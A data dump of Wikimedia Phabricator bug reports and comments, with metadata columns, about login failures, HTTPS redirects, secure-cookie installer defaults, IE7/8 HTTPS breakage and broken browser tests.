+340902,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"Add a subscriber, just to CC whoever is following that project (not sure whether it works).  :)  I don't think there is a problem in the extension itself, and I still think that it is suspicious that this happens right after our Phabricator upgrade.",,,1418290608,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+340885,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"@qgil: did you mean to add a subscriber or add a project tag?
+
+I didn't even know you could subscribe a project...",,,1418288752,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+340859,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"the error is with mediawiki, not phab:
+
+On https://www.mediawiki.org/w/index.php?title=Special:OAuth/ I see this error:
+
+`A database query error has occurred. This may indicate a bug in the software.`
+`    Function: MediaWiki\Extensions\OAuth\MWOAuthConsumer::newFromKey`
+`    Error: 1054 Unknown column 'oarc_callback_is_prefix' in 'field list' `",,,1418285713,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+340856,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"Hm, same here:
+ 
+```
+Wikimedia Foundation
+Error
+
+Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+If you report this error to the Wikimedia System Administrators, please include the details below.
+Request: POST http://phabricator.wikimedia.org/auth/login/mediawiki:mediawiki/, from 10.64.0.171 via cp1043 cp1043 ([10.64.0.171]:80), Varnish XID 1226470680
+Forwarded for: phabupdate, 2003:5b:ee1e:af64:c8f1:9342:dc2d:faec, 10.64.0.171
+Error: 503, Service Unavailable at Thu, 11 Dec 2014 08:05:55 GMT
+```
+
+If this is happening for everybody, then this means that users without LDAP ending their session will not be able to log in again. Sound like trouble is coming unless this is fixed soon. Setting to Unbreak Now!",,,1418285278,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+111135,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","We recently installed MediaWiki 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.
+
+According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).
+
+However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.
+
+I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.
+
+To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:
+
+    $wgSecureLogin = true;
+    $wgCookieHttpOnly = true;
+    $wgCookieSecure = detect;
+
+It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+111135,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","We recently installed MediaWiki 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.
+
+According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).
+
+However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.
+
+I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.
+
+To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:
+
+    $wgSecureLogin = true;
+    $wgCookieHttpOnly = true;
+    $wgCookieSecure = detect;
+
+It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+1692131,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","```
+$wgCookieHttpOnly = true;
+$wgCookieSecure = detect;
+```
+Are the defaults in DefaultSettings.php.
+
+
+`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
+Using `$wgForceHTTPS` is a better choice.
+
+",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+1692131,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","```
+$wgCookieHttpOnly = true;
+$wgCookieSecure = detect;
+```
+Are the defaults in DefaultSettings.php.
+
+
+`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
+Using `$wgForceHTTPS` is a better choice.
+
+",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0
+97701,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),"I used SauceLabs to test a feature in IE7 on Windows XP. Although Resource Loader does not support this browser, anonymous browsing of regular wiki pages works fine.  When I visit http://en.wikipedia.org/w/index.php?title=Special:UserLogin , it fails with IE7's generic error page
+
+> **Internet Explorer cannot display the webpage**
+> Most likely causes:
+>  - You are not connected to the Internet.
+>  - ...
+
+I also get this generic error page I try to visit https://en.wikipedia.org/wiki/Sheep and the login page redirects to https, so maybe it's actually an https issue. IE7 doesn't show what net error it receives.
+
+I can visit other https sites in the same SauceLabs browser setup, so I'm not sure why login and https fail on Wikimedia sites. IE8 on WIndows XP on SauceLabs, which RL does support, fails the same way, while IE8 on Windows 7 on SauceLabs is fine.",Needs Triage,90.0,1430426559,1634151277.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-fi5tiwfykkgobyv7wlck,task_description,declined,True,c3,1,False,False,False,-9,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,1
+1800106,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),IE8 support has been removed in MW 1.36 and in course of T248061.,,,1634151277,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,True,,,327,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+966242,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),">>! In T97701#3717903, @BBlack wrote:
+> However, https://stats.wikimedia.org/wikimedia/squids/SquidReportClients.htm doesn't break down by underlying OS version, which is why IE8 is higher there (it's including e.g. IE8-on-Vista and others).
+
+FWIW, that's deprecated, https://analytics.wikimedia.org/dashboards/browsers is the (much fancier) replacement that can also provide OS/browser combination statistics.",,,1510892318,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,True,,,124,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1
+955159,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),"@Whatamidoing-WMF - Kinda?  See also the explanation here: T25932#3614933 .  TL;DR is that just because we removed the cipher that IE8/XP should use, that doesn't necessarily mean that no IE8/XP clients will ever connect to us.
+
+Going by https://www.mediawiki.org/wiki/Compatibility/Software_for_using_MediaWiki#Grade_B , currently IE6-8 seem to all fall into the Grade B category of support.  But I think once this 3DES deprecation is done, chances are good that at least the WinXP versions of those will be <0.1% and should be removed from Grade B.  However, https://stats.wikimedia.org/wikimedia/squids/SquidReportClients.htm doesn't break down by underlying OS version, which is why IE8 is higher there (it's including e.g. IE8-on-Vista and others).",,,1509232796,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,True,,,121,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1
+954854,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),"@BBlack, is {T147199} going to make this impossible now anyway?",,,1509126292,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,False,,,121,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0
+452041,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),If this is only Windows XP in SauceLabs then it's low priority (WMF does not run any browser tests at SauceLabs on Windows XP). I would appreciate it if someone could try IE7 or IE8 on Windows XP outside SauceLabs.,,,1430427181,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,1,False,,,-9,True,1,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+97491,"Intermittent ""Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable
+"" when requesting http://en.wikipedia.beta.wmflabs.org/w/api.php","On http://en.wikipedia.beta.wmflabs.org/wiki/Talk:Flow, intermittent errors are displayed when trying to save a Flow entry other than a plain text.
+
+Request url --- http://en.wikipedia.beta.wmflabs.org/w/api.php
+
+http://en.wikipedia.beta.wmflabs.org/wiki/Talk:Flow
+[ec2ce41c] Exception Caught: Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable ",Needs Triage,90.0,1430263056,1430416640.0,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-TASK-lt2wni4y5uov3idftkg7,task_description,resolved,True,c3,1,False,False,True,-10,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+451958,"Intermittent ""Failed contacting Parsoid: There was a problem during the HTTP request: 503 Service Unavailable
+"" when requesting http://en.wikipedia.beta.wmflabs.org/w/api.php","Should be fixed now. There was a bug in Parsoid that has been fixed, and beta labs has been broken in various ways this week and last week.",,,1430416640,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lt2wni4y5uov3idftkg7,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+97460,Update browser tests after login/sign up form warning changes,"These steps now fail as a result of T95065
+* Create failure messages.Create account password mismatch message
+* Then I should see a message box at the top of the login page'
+
+https://integration.wikimedia.org/ci/view/BrowserTests/view/MobileFrontend/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-chrome-sauce/629/testReport/junit/(root)/Login/Not_logged_in/
+https://integration.wikimedia.org/ci/view/BrowserTests/view/MobileFrontend/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-chrome-sauce/629/testReport/junit/(root)/Menus%20open%20correct%20page%20for%20anonymous%20users/Watchlist_URL_is_set_correctly/
+",Needs Triage,90.0,1430248376,1431063385.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-w3pd7vqenmta6vpmhwcn,False,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_description,resolved,True,c3,1,True,False,True,-10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+455881,Update browser tests after login/sign up form warning changes,"Change 209670 merged by jenkins-bot:
+Fixing broken browser tests for mobile
+
+[[https://gerrit.wikimedia.org/r/209670]]",,,1431063332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,False,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+455809,Update browser tests after login/sign up form warning changes,"Change 209670 had a related patch set uploaded (by Kaldari):
+Fixing broken browser tests for mobile
+
+[[https://gerrit.wikimedia.org/r/209670]]
+",,,1431044801,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,False,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+455508,Update browser tests after login/sign up form warning changes,"@Jdlrobson, @kaldari: I've moved it into Dan Garry as it was broken as a result of work that we did.",,,1431015877,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0
+455507,Update browser tests after login/sign up form warning changes,"@Jdlrobson, @kaldari: I've moved it into Dan Garry.",,,1431015860,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+455393,Update browser tests after login/sign up form warning changes,"@phuedx any plans to get this rectified so we can get these tests green again?
+",,,1431008578,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-8,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0
+450654,Update browser tests after login/sign up form warning changes,See also T97474,,,1430255616,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+450652,Update browser tests after login/sign up form warning changes,"also https://integration.wikimedia.org/ci/view/Mobile/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-chrome-sauce/630/testReport/junit/(root)/Page%20actions%20menu%20when%20anonymous/Receive_notification_message___Edit_Icon/
+
+ping @kaldari you broke this ;-)
+",,,1430255298,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fcd7kncm5bfw3xgz37jd,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0
+97337,Beta Cluster: remove the lock icon for links with https,"On a http://en.wikipedia.beta.wmflabs.org/wiki/Talk:Flow, type a link in the link inspector starting with https. 
+The lock icon will be displayed: 
+{F157847}",Needs Triage,90.0,1430167990,1430330948.0,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-USER-37czexl6ekrvcmp2tyqq,False,PHID-TASK-ysupgojcxehi5oyd7lif,task_description,resolved,True,c3,1,False,False,True,-10,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+450524,Beta Cluster: remove the lock icon for links with https,Checked in beta labs.,,,1430247752,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ysupgojcxehi5oyd7lif,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+449977,Beta Cluster: remove the lock icon for links with https,http://en.wikipedia.beta.wmflabs.org/w/index.php?title=MediaWiki:Vector.css&diff=217199&oldid=183711,,,1430174273,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ysupgojcxehi5oyd7lif,task_subcomment,,True,c3,1,True,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+96749,Bug: Login page does not default to HTTPS,"I have received some informal complaints that indicate that the login page at the shop, is not secure. This should probably redirect to HTTPS.",Needs Triage,90.0,1429655565,1524778338.0,PHID-USER-tp64che5v7h6hgmz6obb,False,PHID-USER-grgqimagqq3ankitlzm5,False,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_description,resolved,True,c3,1,False,False,False,-11,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+1058654,Bug: Login page does not default to HTTPS,This was solved by adding HSTS (see also T128559).,,,1524778338,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,3,True,,,147,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+881595,Bug: Login page does not default to HTTPS,@HuiZSF: I am resetting the assignee of this task because there have not been any updates for the last two years.  Resetting the assignee avoids the impression that somebody is working on this task. Please claim this task again if/when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu). Thanks!,,,1498304793,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,3,True,,,103,True,1,1,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,1
+481116,Bug: Login page does not default to HTTPS,"@K4-713 @vshchepakina
+I have updated login page liquid and added a JS snippet to force all access to be redirected to https.
+However, this is not the best solution, it may affect SEO of the website.
+Please figure out a way to achieve this request on the server side.",,,1435181158,,PHID-USER-an4pp3ctbvnmzztphldc,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,2,False,,,-2,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,0
+458580,Bug: Login page does not default to HTTPS,@K4-713 do you have any suggestions?,,,1431565243,,PHID-USER-kmvzxnr3vjq47csw3l3v,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,1,False,,,-7,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+448084,Bug: Login page does not default to HTTPS,"Hi @K4-713, @vshchepakina and @violetto
+
+I have tried to track login action, it submits user name and password to `https://wikimedia.myshopify.com/account/login` and then redirects me to `store.wikimedia.org/account` without `https`.
+
+When I manually access `https://store.wikimedia.org/account`, it redirects me to login page. That means, the cookies generated by last login action has no effect... I have not idea about this...
+
+I also tried to force login action to submit my username and password to `https://store.wikimedia.org/account/login`, I am also redirected to `store.wikimedia.org/account`. This time, however, when I manually access  `https://store.wikimedia.org/account` I can stay on my account page and retrieve my information, the cookies work!
+
+So my thought is 
+1. Change the login action from `https://wikimedia.myshopify.com/account/login` to `https://store.wikimedia.org/account/login`, to get cookies work for `https`. 
+2. Then we can add a setting to redirect users to a page with `https`.
+
+However, I didn't find the a place to set up the login action in theme files.
+
